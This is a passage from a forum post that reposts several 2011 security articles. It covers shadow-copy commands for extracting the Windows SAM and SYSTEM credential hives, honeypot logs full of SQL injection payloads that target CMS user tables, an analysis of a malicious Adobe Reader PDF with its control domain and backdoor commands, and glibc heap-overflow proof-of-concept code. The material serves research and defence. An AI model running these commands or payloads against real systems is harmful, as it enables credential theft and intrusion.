Exposed name: [*] Exposed remotely: False [*] Hardware assisted: False [*] Imported: False [*] No auto release: True [*] Not surfaced: False [*] No writers: True [*] Originating machine: LAPTOP [*] Persistent: True [*] Plex: False [*] Provider ID: {B5946137-7B9F-4925-AF80-51ABD60B20D5} [*] Service machine: LAPTOP [*] Set ID: {018D7854-5A28-42AE-8B10-99138C37112F} [*] State: 12 [*] Transportable: False [*] Volume name: \\?\Volume{46f5ef63-8cca-11e0-88ac-806e6f6e6963}\ You need to take note of the Device object value for the next step and the ID for the cleanup step. Pull the following files from a shadow copy: C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM . You have just copied over SAM and SYSTEM files from the shadow copy to the C:\ root folder. Cleanup: C:\>cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853} Microsoft ® Windows Script Host Version 5.8Copyright © Microsoft Corporation. All rights reserved. [*] Attempting to delete shadow copy with ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853} Eventually, restore to original Stop status: C:\>cscript vssown.vbs /stop Microsoft ® Windows Script Host Version 5.8Copyright © Microsoft Corporation. All rights reserved. [*] Signal sent to stop the VSS service. In-memory technique The concept behind in-memory dump of SAM hashes it to inject a DLL into the LSASS system process or, generally speaking, parsing the memory for specific patterns and inspect these memory pages' content. The former action can lead to a Blue Screen of Death (BSoD) condition following a crash of the LSASS process therefore this action is not recommended on production environments: prefer registry hive copy (regback.exe and reg.exe/regedit.exe) and Volume Shadow Copies techniques instead. Nevertheless, in some specific instances, the in-memory technique is required. The most widely known standalone tool to dump SAM hashes is probably fgdump, the successor of pwdump6, both tools developed by the foofus team. The main advantage of fgdump over pwdump6 is that it works on Windows Vista and later versions. Although, I have seen them both failing under some circumstances. More reliable tools include pwdump7 from Andres Tarasco and the gsecdump from TrueSec. The former works on both 32-bit and 64-bit systems across all versions of Windows, but has some problems when run on domain controllers and the latter does not work on 64-bit systems, but is reliable against modern Windows operating systems including Windows Server 2008 domain controllers 32-bit. Despite not working on 64-bit systems, another popular and reliable tool is PWDumpX by Reed Arvin. The Metasploit Framework also has its own post-exploitation modules, Meterpreter built-in command and dated Meterpreter script to dump the SAM hashes. Details on how these pieces of code work within the framework and which techniques they implement can be found on these blog posts by HD Moore. Needless to say that there are more options and knowledge of which one to use within the target environment is important. In order to facilitate this task, I have listed the relevant tools, their capabilities, where they do work and, most importantly, where they are known to fail on this spread-sheet. Posted Yesterday by Bernardo Damele A. G. Sursa: http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html

[h=2]Hasher V1.1[/h] Posted Dec 3rd, 2010 Author isseu Un script php sencillo, pero útil, muy parecido a el típico sneak pero solo dedicado a hashes. Con 35 hashes, que vienen insertos en php (No hay muchos créditos para mi, sino para el equipo de php) Live Demo Hash Soportados: md4 md5 sha1 sha256 sha384 sha512 ripemd128 ripemd160 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru gost adler32 crc32 crc32b haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5 <?php /*********************************************************************** * Crypto Hasher.php - v 1.0 - 07/07/2010 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * * Changelog * ========= * V 1.0 07/07/2010 * - Usados Todos los hash de librerias PHP + Md5 + sha1 + crypt + etc * V 1.1 17/09/2011 * - Retoques *************************************************************************/ $version='1.1'; ?> <center> <?php if(isset($_POST['submit'])) { $text = $_POST['text']; $text = urldecode(stripslashes($text)); $orig_text=htmlentities($text); $algs=hash_algos(); if(in_array($_POST['cryptmethod'],$algs)){ $text=hash($_POST['cryptmethod'],$text); }else{ echo "<p>Encriptacion no Soportada.</p><br>\n"; } $text = htmlentities($text); echo("<br><table><tr><td><b>Value</b></td><td>".htmlentities($_POST['cryptmethod'])."(\"".$orig_text."\")</td></tr>\n"); echo("<tr><td><b>Data</b></td><td>$text</td></tr></table><br>\n"); } ?> <h2><?php echo $title;?></h2> <!-- begin form --> <form action="<?php echo($_SERVER['PHP_SELF']); ?>" method="post"> <textarea name="text" rows="10" cols="70" name="Phrase" id="Phrase"><?php if (isset($orig_text)) { echo($orig_text); } ?></textarea><br /> <select name="cryptmethod"> <?php $hashs=hash_algos(); sort($hashs); foreach($hashs as $a){ ?><option value="<?php echo $a;?>"><?php echo $a;?></option><?php } ?> </select><br /> <input type="submit" name="submit" value="OK" /> <input type="reset" value="Clear" onclick="document.Phrase.value=''"/> </form> <!-- end form --> <!-- begin footer; it would be nice if you would leave this on. --> <p> <font size="1"> Crypt Sneak <?php echo($version); ?><br /> Creado por <a href="http://www.isseu.com">Isseu</a>, © 2011<br> Download script <a href="http://www.isseu.com/hasher-v1-1/">here</a></font> </p> </center> Descarga: hasher.php Sursa: Hasher V1.1 | Isseu

[h=1]OWASP AJAX Crawling Tool[/h] [TABLE=width: 100%, align: left] [TR] [TD=colspan: 2]Name: OWASP AJAX Crawling Tool (home page) [/TD] [/TR] [TR] [TD=colspan: 2] Purpose: A tool which will automate the crawling of AJAX applications. It can be daisy-chained with other proxies (like ZAP or Burpe) to allow the functionality of those tools to be used on aspects of a web app that traditional spidering tools will miss. Here is a demo of the tool so far: [url= ] [/TD] [/TR] [TR] [TD=colspan: 2] License: GNU GPL v3 Project Leader(s): Skyler Onken Download: http://code.google.com/p/fuzzops-ng/downloads/list Sursa: https://www.owasp.org/index.php/OWASP_AJAX_Crawling_Tool [/TD] [/TR] [/TABLE]

[h=2]From ROP to JOP[/h][h=1]Marco Ramilli[/h] Researchers from North Carolina State University and National University of Singapore presented an interesting paper to ASIACCS11 titled: "Jump-Oriented Programming: A New Class of Code-Reuse Attack". The previous image (click on it to make bigger), taken from the original paper, shows the differences between the well known Return Oriented Programming and the new Jump Oriented Programming. As in ROP, a jump-oriented program consists of a set of gadget ad- dresses and data values loaded into memory, with the gadget addresses being analogous to opcodes within a new jump- oriented machine. In ROP, this data is stored in the stack, so the stack pointer esp serves as the “program counter” in a return-oriented program. JOP is not limited to using esp to reference its gadget addresses, and control flow is not driven by the ret instruction. Instead, JOP uses a dispatch table to hold gadget addresses and data. The “program counter” is any register that points into the dispatch table. Control flow is driven by a special dispatcher gadget that executes the sequence of gadgets. At each invocation, the dispatcher advances the virtual program counter, and launches the as- sociated gadget. This new way to see reusable code exploitation makes the use of three main actors: (1) the dispatcher, which has to hijack the control flow by jumping to different entries on the dispatch table, (2) the dispatch table which has to wrap out gadgets addresses and data/padding, and finally (3) the gadget catalog, which contains the effective code to be executed. Gadgets are not terminating with RET as we were accustomed, but with JMP to the dispatcher. A dispatcher example could be: add %ecx, 4 jmp %[ecx] Each time it is executed it jumps to the next gadget (+4 bytes) through the dispatch table (base address on %ecx). Each time an addressed gadget is executed it ends with a jump to the dispatcher, in this way a jumping chain is built. The paper follows on describing a MOC example and providing algorithms to find JOP gadgets. I did like this reading and I do suggest it to all the interested security guys that are reading my post, but I have some issues on believing the real implementation of the dispatcher. As you might see the dispatcher increases the jump offset by a fixed step, this assumes that the respective gadgets don't use data or at least use a fixed number of data (variables). This is highly impractical in a real exploitation scenario in which the attacker needs many different gadgets which use respectively different quantity of data. I have made here a simple explanation to what I mean. Download: http://www.csc.ncsu.edu/faculty/jiang/pubs/ASIACCS11.pdf Sursa: Marco Ramilli's Blog: From ROP to JOP

[Honeypot Alert] SQL Injection Scanning Update - Filter Evasions Detected Thursday, 15 December 2011 As we reported in the previous [Honeypot Alert] WordPress/Joomla/Mambo SQL Injection Scanning Detected alert - we have identified an increase in mass SQL Injection scanning targeting various community components. While this scanning is still ongoing, we have identified a slight variation if the attack methodology used. Here are examples from today's web server logs: GET /index.php?option=com_acprojects&page=7&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_acprojects&page=7&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_acstartseite&lang=de&Itemid=null and 1=2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_acteammember&Itemid=121&lang=en&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C0x33633273366962%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_agency&task=view&aid=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_bidding&id=-200%2F%2A%2A%2FuNiOn%2F%2A%2A%2FALL%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_blog&task=viewdetails&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_book&controller=listtour&task=showTour&cid[]=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2Fall%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_comp&task=view&cid=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_departments&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_gigfe&task=style&styletype=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_hezacontent&view=item&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2Fall%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C6%2C0x33633273366962%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_include&lang=en_GB&Itemid=50&ID_NLE=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_jeeventcalendar&template=system&view=event&Itemid=155&event_id=-1%22%2F%2A%2A%2FuNiOn%2F%2A%2A%2FALL%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_mambads&Itemid=39&func=view&cacat=33&casb=1%2F%2A%2A%2FuNiOn%2F%2A%2A%2Fall%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C0x33633273366962%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_nfnaddressbook&Itemid=61&action=viewrecord&record_id=-4%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_party&view=party&task=details&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_personal&pid=56&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_products&op=category_details&intCategoryId=-222%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_products&op=category_details&intCategoryId=-222%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2F%2A%2A%2FfRoM%2F%2A%2A%2Fmos_users-- HTTP/1.1 GET /index.php?option=com_route&routing&kid=-35022%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_science&view=science&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_start&task=main&mitID=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F1%2C0x33633273366962%2C3%2C4%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_teacher&view=teacher&id=-1%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2C0x33633273366962%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 GET /index.php?option=com_yanc&Itemid=75&listid=-2%2F%2A%2A%2FuNiOn%2F%2A%2A%2FsELeCt%2F%2A%2A%2F0x33633273366962%2C2%2F%2A%2A%2FfRoM%2F%2A%2A%2Fjos_users-- HTTP/1.1 Can you spot the difference in the SQL Injection payloads? Mixed-Case Attack Payloads The attackers are now using mixed-case in the SQL commands. GET /index.php?option=com_acprojects&page=7&lang=de& Itemid=null and 1=2%2F%2A%2A%2F[B]uNiOn[/B]%2F%2A%2A%2F[B]sELeCt[/B]%2F%2A%2A%2F1%2C2%2C0x33633273366962%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2F%2A%2A%2F[B]fRoM[/B]%2F%2A%2A%2Fjos_users-- HTTP/1.1 The purpose of mixing case of these attack payloads is to potentially evade any poorly constructed input validation blacklist filters. Blacklist Filtering Blacklist filtering is often used as a part of input validation in order to easily block known back payloads. Here is a common blacklist filtering question posed to the community about preventing SQL Injection: While this person has correctly specified a number of key SQL functions used in SQL Injection attacks, the error of ommision in this case is that the regular expression is assuming that the payloads will be in lowercase format. As we have seen in the honeypot log examples above, attackers can and will use mixed case as it is functionally equivalent code to the database. When writing blacklist filters, care should be taken to normalize data to prevent this type of evasion. In the OWASP ModSecurity Core Rule Set, we use two different techniques to handle mixed-case evasions: Transformation Functions Many rules use the "t:lowercase" trasformation function to change all payloads to lowercase before applying the operator check. SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@pm select show top distinct from dual where group by order having limit offset union rownum as (case" "phase:2,id:'981300',t:none,t:urlDecodeUni,t:removeCommentsChar,[B]t:lowercase[/B],nolog,pass,nolog,setvar:'tx.sqli_select_statement=%{tx.sqli_select_statement} %{matched_var}'" While this process works, it does incur a performance hit in latency. Ignore Case RegEx Flags The other option is to modify the PCRE regular expression rule itself and apply the "IGNORE_CASE" modifier flag. In ModSecurity, this is accomplished by using one of the following syntaxs: (?i)REGEX [LIST] [*]"(?i)(var[^=]+=\s*unescape\s*;)" [/LIST] (?i:REGEX) [LIST] [*]"(?i:<\s*IFRAME\s*?[^>]*?src=\"javascript:)" [/LIST] If you are using any blacklist filtering as part of input validation, I highly suggest you verify how you are handling mixed-case payloads. SQL Injection Prevention While blacklist filtering has it uses, it should not be used as the only method of preventing any attacks. Whitelist filtering of input is highly recommended in order to ensure that data is of the correct size, character sets and format. For SQL Injection, it is recommended that all developers review the OWASP SQL Injection Prevention Cheatsheet which has excellent guidance on properly constructing SQL queries. Sursa: [Honeypot Alert] SQL Injection Scanning Update - Filter Evasions Detected - SpiderLabs Anterior

[h=1]Inside Adobe Reader Zero-Day Exploit CVE 2011-2462[/h] Wednesday, December 14, 2011 at 12:26pm by Chintan Shah Recently a critical vulnerability has been identified in Adobe Reader X and Adobe Acrobat X Versions 10.1.1 and earlier for Windows and Mac OS, Reader 9.4.6 and Reader 9.x Versions for Unix. This zero-day vulnerability (CVE-2011-2462) could allow an attacker to execute arbitrary code and silently take the control of a victim’s machine. This flaw is currently being exploited in the wild. Adobe released a patch on December 12. McAfee researchers analyzed the exploit (the sample circulating in the wild) and figured out how the vulnerability is exploited and identified the malicious binary, which allows an attacker to take the control of the system. Using the MD5 algorithm we found a hash value of b025b06549caae5a7c1d23ac1d014892. The technique used in this exploit has been known to researchers for ages. Here’s what we found as output when we ran the PDFiD tool against this exploit. Looking at the output, we can immediately make out what this exploit would contain. Like many other exploits in the wild, this document uses the techniques of /JavaScript and /OpenAction to launch its malicious JavaScript. The combination of both of these techniques would make this document suspicious to any researcher. /JS and /JavaScript indicates that this PDF document contains the JavaScript. /OpenAction indicates the action to be performed automatically when the document is viewed. Let’s take the deeper look at the object structure of the PDF and find out what is interesting. Object Analysis of the PDF document Object 1 contains the author, email, and the web–a kind of meta information. Object 4 has an /OpenAction reference to object 14, which seems particularly interesting. Let’s take a look at what is in the referenced object. Object 14, as seen above, has the stream link to object 15, which contains the actual compressed JavaScript. This is the malicious JavaScript that is encoded twice, first with ASCIIHexDecode and then with FlateDecode. These stream filters will indicate to Reader how to decode the streams while opening the document. This combination of stream filters is widely used in exploits to compress the code. We’ll take a look at the JS code a little later in this analysis. In the meantime, let’s move further into the object structure analysis of the PDF. Object 11 contains the stream link to Object 10, as seen below. This stream link contains the Flate-encoded 3D Annotations data that is to be Flate decoded and displayed while the Reader document is rendered. According to the Adobe 3D Annotations documentations available here, 3DD entry of the Annotations data specifies the Flate-encoded data stream containing the U3D data. That’s exactly what we see in Object 10, as shown below. This U3D data is likely to cause memory corruption and trigger the vulnerability. Object 16 is of special interest to us. Let’s see how this object looks. This object does not have any references and contains the stream that is supposed to be Flate encoded. This stream contains the malicious XORed executable that is dropped after successful exploitation. Let’s see if we can figure out the XOR key. The executable is XORed by 0×12. Looks like this stream wasn’t Flate encoded but rather simply XORed to embed the malicious file within. This technique is normally used in exploits to hide the malicious code and bypass AV detections. Let’s take a look at the decoded JS code from Object 15 to understand what it does. This code checks for supposedly nonexistent versions of Reader and apparently enters an infinite loop if the version comes out to be greater than 10.0. The code appears to use a heap-spray technique to exploit this vulnerability and execute the shellcode. The end of this code checks for the Windows platform and sets the document to page 2 if it is running on Windows and will render the 3D data specified by the U3D file–causing the corruption. The heap-spray function in the JS code looks like this: The last function call in the preceding figure allocates the memory and fills up the heap as seen below: Launching this exploit on Windows with Reader 9.4.6 installed will crash and open the new document “2012 Federal Employee Pay Calender.pdf.” It spawns the new process pretty.exe and finally injects WSE4EF1.TMP into the iexplore.exe process, which connects to the control server. Looking at pretty.exe, we see that it looks for outlook.exe, iexplore.exe, and firefox.exe. It then injects the code into whichever process it finds open on the victim’s machine. Network Communications Once the code is injected into any of these open processes, a connection is made to the domain prettylikeher.com (IP: 72.30.2.43, which was resolved at execution) on port 443. Assuming that it must be using SSL for control, we hooked the WinInet.SecureSend and WinInet.SecureReceive APIs to check what was sent as the encrypted request. We found the following clear-text decrypted traffic: The server responded with HTTP 301. The location header had the HTTP link. Next the HTTP GET request initiated as shown below. The URI query string contains the hostname of the victim’s machine appended with the IP address. The SSL and HTTP requests turned out to be the same. Analysis of the Injected DLL WSE4EF1.TMP Looking at the injected DLL, the following code forms the HTTP GET request along with the URI query parameters: This DLL also seems be virtual-machine aware. While analyzing the code, we came across the VM check that is performed via the SIDT instruction. SIDT FWORD PTR SS:[EBP-8] EAX, DWORD PTR SS:[EBP-6] CMP EAX, 8003F400 JBE SHORT WSE4EF1.10001C88 CMP EAX, 80047400 JNB SHORT WSE4EF1.10001C88 Further analysis of the control code of the DLL reveals that the following commands can be run on the victim’s system: Cmd Shell Run Getfile Putfile Kill Process Reboot Time Door McAfee Coverage for Exploit CVE-2011-2462 McAfee Intrusion Prevention (formerly IntruShield) has released coverage for the exploit under the attack ID 0x402b1a00 HTTP: Adobe Reader and Acrobat U3D Memory Corruption Remote Code Execution. McAfee customers with up-to-date installations are protected against this malware. Acknowledgments I would like to thank my colleagues Hardik Shah, Swapnil Pathak, and Amit Malik for analyzing this vulnerability and contributing to this blog. Sursa: Inside Adobe Reader Zero-Day Exploit CVE 2011-2462 | Blog Central

More on exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd Ramon de C Valle 2011.12.15 A few hours after I posted a link to my previous blog post to the Full-Disclosure mailing list, Kingcope, in another post[1], noted a very straightforward method for acquiring arbitrary code execution through loading of a dynamic library file inside the chroot environment, wiping out all my enthusiasm in making an exploit for this issue. However, there are some details I think are worth mentioning, since the exploitation pattern noted in my previous post can be applied to other similar vulnerabilities. As noted in my previous post, we can turn out an unpredictable to a very predictable environment for exploitation within a limited scope, such as a single function, through features of the current malloc implementation, such as the FIFO feature (i.e. unsorted chunks), the order of memory allocations and frees within this limited scope, and a pattern of repeated actions. The following program illustrates how we can force the reordering of the allocation of two chunks within a known limited scope (i.e. __tzfile_read): #include <stdio.h> #include <stdlib.h> #include <time.h> static time_t *transitions = NULL; int __use_tzfile = 1; void __tzfile_read() { register FILE *f; __use_tzfile = 0; f = fopen("/usr/share/zoneinfo/GMT0", "rc"); printf("f = %p\n", f); free((void *)transitions); transitions = NULL; transitions = (time_t *)malloc(sizeof(FILE)); printf("transitions = %p\n", (void *)transitions); fclose(f); __use_tzfile = 1; return; lose: fclose(f); ret_free_transitions: free((void *)transitions); transitions = NULL; } int main(int argc, char *argv[]) { int i; /* This simulates the sequence of four uploads of valid timezone files * to the path expected by vsftpd. */ for (i = 0; i < 4; i++) { /* This simulates previous memory allocations that may eventually * happen between calls to gmtime, localtime, and tzset functions, * initializing the main arena, and preventing consolidation. */ malloc(sizeof(FILE)); __tzfile_read(); } exit(EXIT_SUCCESS); } When executing this program, you should see an output similar to this: [rcvalle@localhost ~]$ gcc -Wall -Wno-unused-label unsorted.c; ./a.out f = 0x9e4f0a0 transitions = 0x9e4f208 f = 0x9e4f2a0 transitions = 0x9e4f138 f = 0x9e4f268 transitions = 0x9e4f138 f = 0x9e4f300 transitions = 0x9e4f138 Notice we forced the reordering of the chunks allocated for the FILE structure and the transitions buffer in the main arena, through the FIFO feature, the order of memory allocations and frees within our limited scope, in this case, the __tzfile_read function, and a pattern of repeated actions. In addition, notice we also can predict the offset from one chunk to the other and control the amount of memory allocated between them (more on this later). To be short, I replaced the FILE structure in the previous program by a simple structure containing a function pointer which is subsequently called in place of fclose function within our limited scope: #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> static time_t *transitions = NULL; int __use_tzfile = 1; typedef struct myfuncs { unsigned int (*mysleep)(unsigned int seconds); /* This padding is to make this structure larger than 64 bytes, thus * being allocated from main arena. */ char padding[sizeof(FILE)-sizeof(void *)]; } myfuncs_t; void __tzfile_read() { register myfuncs_t *f; __use_tzfile = 0; f = malloc(sizeof(myfuncs_t)); f->mysleep = &sleep; printf("f = %p\n", f); free((void *)transitions); transitions = NULL; transitions = (time_t *)malloc(sizeof(FILE)); printf("transitions = %p\n", (void *)transitions); f->mysleep(3); free((void *)f); __use_tzfile = 1; return; lose: free((void *)f); ret_free_transitions: free((void *)transitions); transitions = NULL; } int main(int argc, char *argv[]) { int i; /* This simulates the sequence of four uploads of valid timezone files * to the path expected by vsftpd. */ for (i = 0; i < 4; i++) { /* This simulates previous memory allocations that may eventually * happen between calls to gmtime, localtime, and tzset functions, * initializing the main arena, and preventing consolidation. */ malloc(sizeof(FILE)); __tzfile_read(); } exit(EXIT_SUCCESS); } When executing this program, you should see an output similar to this: [rcvalle@localhost ~]$ gcc -Wall -Wno-unused-label unsorted2.c; ./a.out f = 0x82ad0a0 transitions = 0x82ad138 f = 0x82ad1d0 transitions = 0x82ad138 f = 0x82ad268 transitions = 0x82ad138 f = 0x82ad300 transitions = 0x82ad138 Notice we again forced the reordering of the chunks allocated, but now for the myfuncs structure. Therefore, if an overflow occurs inside our scope with a fopen(malloc), free, malloc, fclose(free) pattern of calls (there may be other patterns) and the data overflowed is used before the overflowed buffer is freed (i.e. fclose, myfuncs->sleep), we have a complete predictable environment for exploitation. I added an overflow in the previous program to illustrate this: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> static time_t *transitions = NULL; int __use_tzfile = 1; typedef struct myfuncs { unsigned int (*mysleep)(unsigned int seconds); /* This padding is to make this structure larger than 64 bytes, thus * being allocated from main arena. */ char padding[sizeof(FILE)-sizeof(void *)]; } myfuncs_t; void __tzfile_read() { register myfuncs_t *f; __use_tzfile = 0; f = malloc(sizeof(myfuncs_t)); f->mysleep = &sleep; printf("f = %p\n", f); free((void *)transitions); transitions = NULL; transitions = (time_t *)malloc(sizeof(FILE)); printf("transitions = %p\n", (void *)transitions); memset(transitions, 'A', sizeof(FILE) * 8); f->mysleep(3); free((void *)f); __use_tzfile = 1; return; lose: free((void *)f); ret_free_transitions: free((void *)transitions); transitions = NULL; } int main(int argc, char *argv[]) { int i; /* This simulates the sequence of four uploads of valid timezone files * to the path expected by vsftpd. */ for (i = 0; i < 4; i++) { /* This simulates previous memory allocations that may eventually * happen between calls to gmtime, localtime, and tzset functions, * initializing the main arena, and preventing consolidation. */ malloc(sizeof(FILE)); __tzfile_read(); } exit(EXIT_SUCCESS); } When executing this program, you should see the Segmentation Fault occur due to calling our overflowed function pointer: $ gcc -Wall -Wno-unused-label unsorted3.c; ./a.out f = 0x956d0a0 transitions = 0x956d138 f = 0x956d1d0 transitions = 0x956d138 Segmentation fault (core dumped) In GDB: (gdb) r Starting program: /home/rcvalle/a.out f = 0x804a0a0 transitions = 0x804a138 f = 0x804a1d0 transitions = 0x804a138 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Missing separate debuginfos, use: debuginfo-install glibc-2.14-5.i686 (gdb) Additionally, as I previously mentioned, we also can predict the offset from one chunk to the other and control the amount of memory allocated between them. This can be used to store a large amount of nop instructions or equivalent along with the shellcode, increasing considerably the chances of a successful exploitation. Also, if 